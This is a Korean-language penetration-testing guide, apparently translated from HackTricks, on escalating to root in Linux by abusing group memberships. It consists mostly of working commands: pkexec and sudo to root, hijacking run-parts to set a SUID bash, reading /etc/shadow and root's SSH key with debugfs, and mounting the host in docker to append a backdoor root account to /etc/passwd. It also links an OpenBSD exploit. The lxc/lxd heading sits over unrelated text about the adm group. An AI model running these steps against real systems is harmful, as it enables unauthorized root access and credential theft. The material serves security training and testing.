Interesting Groups - Linux Privesc

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원

• 구독 요금제를 확인하세요!

• 💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.

• HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.

Sudo/Admin 그룹

PE - 방법 1

가끔, 기본적으로 (또는 어떤 소프트웨어가 필요로 하는 경우) /etc/sudoers 파일 내에 다음과 같은 라인들을 찾을 수 있습니다:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

이는 sudo 또는 admin 그룹에 속한 모든 사용자가 sudo로 모든 것을 실행할 수 있다는 것을 의미합니다.

이 경우, 루트가 되려면 다음을 실행하면 됩니다:

sudo su

PE - 방법 2

모든 suid 이진 파일을 찾아 이진 파일 Pkexec이 있는지 확인하십시오:

find / -perm -4000 2>/dev/null

만약 pkexec 바이너리가 SUID 바이너리이고 sudo 또는 admin 그룹에 속해 있다면, pkexec를 사용하여 바이너리를 sudo 권한으로 실행할 수 있습니다. 일반적으로 이러한 그룹들이 polkit 정책 내에 포함되어 있기 때문입니다. 이 정책은 주로 어떤 그룹이 pkexec를 사용할 수 있는지 식별합니다. 다음 명령어로 확인할 수 있습니다:

cat /etc/polkit-1/localauthority.conf.d/*

다음은 어떤 그룹이 pkexec를 실행할 수 있는지 및 기본적으로 일부 리눅스 배포판에서 sudo 및 admin 그룹이 나타나는지 확인할 수 있습니다.

루트로 전환하려면 실행할 수 있습니다:

pkexec "/bin/sh" #You will be prompted for your user password

만약 pkexec를 실행하려고 시도하고 다음 오류가 발생한다면:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

권한이 없는 것이 아니라 GUI 없이 연결되지 않았기 때문입니다. 이 문제에 대한 해결책이 있습니다: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. 다른 2개의 ssh 세션이 필요합니다:

session1

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session

세션2

pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

Wheel 그룹

가끔, 기본적으로 /etc/sudoers 파일 안에 이 줄을 찾을 수 있습니다:

%wheel	ALL=(ALL:ALL) ALL

이는 wheel 그룹에 속한 모든 사용자가 sudo로 모든 것을 실행할 수 있다는 것을 의미합니다.

이 경우, 루트가 되려면 다음을 실행하면 됩니다:

sudo su

그림자 그룹

그림자 그룹의 사용자는 /etc/shadow 파일을 읽을 수 있습니다:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

그래서, 파일을 읽고 일부 해시를 해독해보십시오.

직원 그룹

staff: 사용자가 루트 권한이 필요하지 않고 시스템 (/usr/local)에 로컬 수정 사항을 추가할 수 있게 합니다 (/usr/local/bin에 있는 실행 파일은 모든 사용자의 PATH 변수에 있으며, 동일한 이름의 /bin 및 /usr/bin에 있는 실행 파일을 "덮어쓸" 수 있습니다). 모니터링/보안과 관련된 "adm" 그룹과 비교하십시오. [원본]

데비안 배포판에서 $PATH 변수는 특권 사용자 여부에 관계없이 /usr/local/이 가장 높은 우선순위로 실행됨을 보여줍니다.

$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

만약 /usr/local에서 일부 프로그램을 탈취할 수 있다면 루트 권한을 쉽게 얻을 수 있습니다.

run-parts 프로그램을 탈취하는 것은 루트 권한을 얻기 쉬운 방법입니다. 왜냐하면 대부분의 프로그램이 run-parts와 유사한 것을 실행하기 때문입니다(crontab, ssh 로그인 시).

$ cat /etc/crontab | grep run-parts
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }

또는 새로운 ssh 세션 로그인 시.

$ pspy64
2024/02/01 22:02:08 CMD: UID=0     PID=1      | init [2]
2024/02/01 22:02:10 CMD: UID=0     PID=17883  | sshd: [accepted]
2024/02/01 22:02:10 CMD: UID=0     PID=17884  | sshd: [accepted]
2024/02/01 22:02:14 CMD: UID=0     PID=17886  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17887  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17888  | run-parts --lsbsysinit /etc/update-motd.d
2024/02/01 22:02:14 CMD: UID=0     PID=17889  | uname -rnsom
2024/02/01 22:02:14 CMD: UID=0     PID=17890  | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0     PID=17891  | -bash

악용

# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash

# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts

# 0x3 start a new ssh sesstion to trigger the run-parts program

# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15  2017 /bin/bash

# 0x5 root it
$ /bin/bash -p

디스크 그룹

이 권한은 거의 루트 액세스와 동등하며 기계 내의 모든 데이터에 액세스할 수 있습니다.

파일: /dev/sd[a-z][1-9]

df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

주의: debugfs를 사용하여 파일을 작성할 수도 있습니다. 예를 들어 /tmp/asd1.txt를 /tmp/asd2.txt로 복사하려면 다음을 수행할 수 있습니다:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

그러나 루트 소유의 파일을 쓰려고 시도하면 (/etc/shadow 또는 /etc/passwd와 같은) "허가 거부" 오류가 발생합니다.

비디오 그룹

명령어 w를 사용하여 시스템에 로그인한 사용자를 찾을 수 있으며, 다음과 같은 출력이 표시됩니다:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

tty1은 사용자 yossi가 머신의 터미널에 물리적으로 로그인되어 있는 것을 의미합니다.

video 그룹은 화면 출력을 볼 수 있는 권한을 갖고 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 이를 위해서는 화면의 현재 이미지를 원시 데이터로 캡처하고 화면이 사용 중인 해상도를 얻어야 합니다. 화면 데이터는 /dev/fb0에 저장될 수 있으며, 이 화면의 해상도는 /sys/class/graphics/fb0/virtual_size에서 찾을 수 있습니다.

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

원본 이미지를 열려면 GIMP를 사용할 수 있습니다. **screen.raw ** 파일을 선택하고 파일 유형으로 Raw image data를 선택하십시오:

그런 다음 너비와 높이를 화면에서 사용하는 값으로 수정하고 다양한 이미지 유형을 확인하십시오 (화면을 더 잘 보여주는 것을 선택하십시오):

루트 그룹

기본적으로 루트 그룹의 구성원은 일부 서비스 구성 파일이나 라이브러리 파일 또는 권한 상승에 사용될 수 있는 기타 흥미로운 것들을 수정할 수 있는 것으로 보입니다...

루트 구성원이 수정할 수 있는 파일을 확인하십시오:

find / -group root -perm -g=w 2>/dev/null

도커 그룹

호스트 머신의 루트 파일 시스템을 인스턴스의 볼륨에 마운트할 수 있으므로 인스턴스가 시작되면 해당 볼륨에 chroot가 즉시 로드됩니다. 이로써 머신에서 root 액세스를 얻을 수 있습니다.

docker image #Get images from the docker service

#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd

#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash

lxc/lxd 그룹

일반적으로 adm 그룹의 구성원은 /var/log/ 내에 있는 로그 파일을 읽을 수 있는 권한을 가지고 있습니다. 따라서, 이 그룹 내의 사용자를 침해했다면 로그를 확인해야 합니다.

Auth 그룹

OpenBSD 내에서 auth 그룹은 일반적으로 /etc/skey 및 /var/db/yubikey 폴더에 쓸 수 있습니다. 이러한 권한은 다음 exploit을 사용하여 루트 권한 상승에 악용될 수 있습니다: https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot